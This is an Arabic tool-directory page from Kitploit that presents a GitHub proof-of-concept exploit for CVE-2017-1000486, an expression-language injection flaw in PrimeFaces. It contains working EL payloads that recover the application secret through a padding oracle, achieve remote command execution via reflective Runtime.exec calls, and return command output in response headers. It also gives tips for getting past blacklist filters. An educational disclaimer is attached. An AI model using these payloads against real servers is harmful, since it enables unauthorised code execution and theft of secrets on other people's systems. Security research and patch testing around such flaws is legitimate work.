Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-1000486 — استغلال إثبات المفهوم متعدد الخطوات لـ CVE-2017-1000486 (حقن EL في PrimeFaces) مع استرجاع السر عبر padding oracle وحمولات تتجاوز القائمة السوداء لتنفيذ التعليمات البرمجية عن بُعد. | Kitploit
أدوات/GitHubGitHub/pastea/cve-2017-1000486
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubpastea/cve-2017-1000486

CVE-2017-1000486

استغلال إثبات المفهوم متعدد الخطوات لـ CVE-2017-1000486 (حقن EL في PrimeFaces) مع استرجاع السر عبر padding oracle وحمولات تتجاوز القائمة السوداء لتنفيذ التعليمات البرمجية عن بُعد.

عرض المستودع
411منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-1000486

هذا هو PoC لـ CVE-2017-1000486 مع بعض الحمولات المفيدة لتجاوز فحوصات القوائم السوداء المعجمية على الدوال القياسية المستخدمة لتحقيق RCE (getClass(), exec(), إلخ) ولاسترجاع سر primefaces عبر Padding Oracle من أجل تقليل الضوضاء قدر الإمكان أثناء الاستغلال.

شكرًا لـ @pimps، @federicodotta و @AonCyberLabs على أعمالهم المتعلقة بهذا الموضوع.

الوصف

هذا الـ PoC هو سكربت متعدد الخطوات مفيد لتحليل سياق كل تطبيق ومكتبات خوادم الويب المتاحة.

بادئ ذي بدء، يُستخدم سكربت padBuster المكتوب بلغة Perl بواسطة @AonCyberLabs لاسترجاع سر primefaces إذا لم يتم توفيره يدويًا. قد يكون هذا مفيدًا لتقليل عدد الطلبات المرسلة إلى الخادم عند تشفير الحمولات اللاحقة، مما يسرّع العملية بأكملها. الوقت المطلوب لاستغلال ثغرة Padding Oracle يتناسب طرديًا مع حجم الحمولات، لذا فإن استخدامها فقط في المرحلة الأولى على حمولة أصغر بكثير يعزز الأداء بشكل كبير. لا أرغب في إعادة كتابة كل كود padBuster لدمجه مباشرة مع Python، لذلك يتم تنفيذ أمر نظيف عبر نظام التشغيل لتشغيله.

حمولة EL:

root@kitploit:~
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/main/%22SECRET%22%2CinitParam%5B%22primefaces.SECRET%22%5D)}

يتم إجراء فحص بسيط عبر EL ينفذ حقن ترويسة للتحقق من تنفيذ كود EL. لاحظ أنه في هذه الحالة تتوفر طريقتان هما setResponseHeader و addResponseHeader، ويمكن استرجاع الطرق الأخرى المتاحة من الوثائق الرسمية.

حمولة EL:

root@kitploit:~
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/main/%22PROVA%22%2C%22123456%22)}

ثم يتم إجراء سلسلة من الفحوصات على المتغيرات الضمنية المتاحة لإبراز بعض المشكلات المحتملة الناتجة عن مكتبات خوادم الويب المخصصة التي لا توفر جميع المتغيرات الضمنية، مثل IBM WebLogic. علاوة على ذلك، يتم استرجاع إصدار Java Runtime محاولين أن نكون أكثر تحديدًا قدر الإمكان مع الحمولة.

في الواقع، لاحظت أنه على Java <=7 يوجد بعض الالتباس في أنواع المعاملات للدوال المستدعاة. أفترض أن هذا يحدث بسبب تعيين نوع المتغير الذي يقوم به محلل EL. لتجنب ذلك، يشير السكربت إلى دوال محددة عبر مصفوفة getDeclaredMethods()، وفي هذه الحالة يلزم تحديد الفهرس الصحيح لكل دالة مستخدمة. هذا يزيد بوضوح من حجم الحمولة لكنه يوفر قدرًا كبيرًا من المرونة.

من أجل إنشاء مصفوفة بايت كمخزن مؤقت، يُستخدم حل بديل عبر "".format("%0999d",0).getBytes() لإنشاء مخزن مؤقت بطول 999، أو "0000000".getBytes() لإنشاء مخزن مؤقت بطول 7.

EL قياسي:

root@kitploit:~
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"](https://github.com/pastea/cve-2017-1000486/blob/main/%22command%22).getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}

EL مع getDeclaredMethods():

root@kitploit:~
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}

التحسينات

  • يمكن استدعاء الدوال في JSF عبر مرجع ["method"]()، وليس فقط كـ Java قياسي بترميز النقطة .method(). قد يساعد هذا في تجاوز الفلتر الموجود على الخادم بين فك التشفير وتنفيذ EL.

  • يمكن استبدال getClass() بالعبارة ["class"]

  • يمكن استبدال facesContext.getExternalContext().getSession(true).putValue() بـ session.setAttribute()، وكأسلوب عام يمكن استخدام أي خريطة كمستودع لتخزين المتغيرات.

إخلاء مسؤولية

يتم توفير هذه الأداة لأغراض تعليمية فقط، وبهدف استخدامها لأغراض البحث فقط.

لا يجوز لك استخدام هذا البرنامج لأي غرض غير قانوني أو غير أخلاقي؛ بما في ذلك الأنشطة التي قد تؤدي إلى مسؤولية جنائية أو مدنية.

الاستخدام على مسؤوليتك الخاصة. يتم توفير هذا البرنامج من قبل صاحب حقوق الطبع والنشر أو المساهمين "كما هو" ويتم إخلاء المسؤولية عن أي ضمانات صريحة أو ضمنية، بما في ذلك على سبيل المثال لا الحصر، الضمانات الضمنية الخاصة بقابلية التسويق والملاءمة لغرض معين. في أي حال من الأحوال، لا يكون صاحب حقوق الطبع والنشر أو المساهمون مسؤولين عن أي أضرار مباشرة أو غير مباشرة أو عرضية أو خاصة أو نموذجية أو تبعية.

تنزيل الأداة